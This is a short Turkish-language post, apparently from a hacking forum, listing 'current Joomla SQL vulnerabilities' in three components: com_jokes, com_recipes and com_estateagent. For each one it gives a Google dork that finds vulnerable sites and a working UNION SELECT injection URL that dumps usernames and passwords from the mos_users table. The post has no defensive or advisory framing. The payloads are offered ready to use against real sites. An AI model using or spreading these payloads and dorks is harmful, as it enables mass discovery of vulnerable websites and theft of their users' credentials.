Güncel Joomla SQL Açıkları

[tasiyici]

Joomla SQL Injection(com_jokes)

Açığı Bulan : S@BUN

Google Arama kodu : allinurl: "com_jokes"

EXPLOIT :

Kod:
index.php?option=com_jokes&Itemid=S@BUN&func=CatView&cat=-776655/**/union/**/select/**/0,1,2,3,username,5,password,7,8/**/from/**/mos_users/*--------------------------------------------------------
Joomla SQL Injection(com_recipes)

AUTHOR : S@BUN

Google Arama Kodu : allinurl: "com_recipes"

EXPLOIT :

Kod:
index.php?option=com_recipes&Itemid=S@BUN&func=detail&id=-1/**/union/**/select/**/0,1,concat(username,0x3a,password),username,0x3a,5,6,7,8,9,10,11,12,0x3a,0x3a,0x3a,username,username,0x3a,0x3a,0x3a,21,0x3a/**/from/**/mos_users/*---------------------------------------------------------------------Joomla SQL Injection(com_estateagent)

Açığı Bulan:S@bun

Google Arama Kodu:allinurl: allinurl: "com_estateagent"
EXPLOIT :

Kod:
index.php?option=com_estateagent&Itemid=S@BUN&func=showObject&info=contact&objid=-9999/**/union/**/select/**/username,password/**/from/**/mos_users/*&results=S@BUN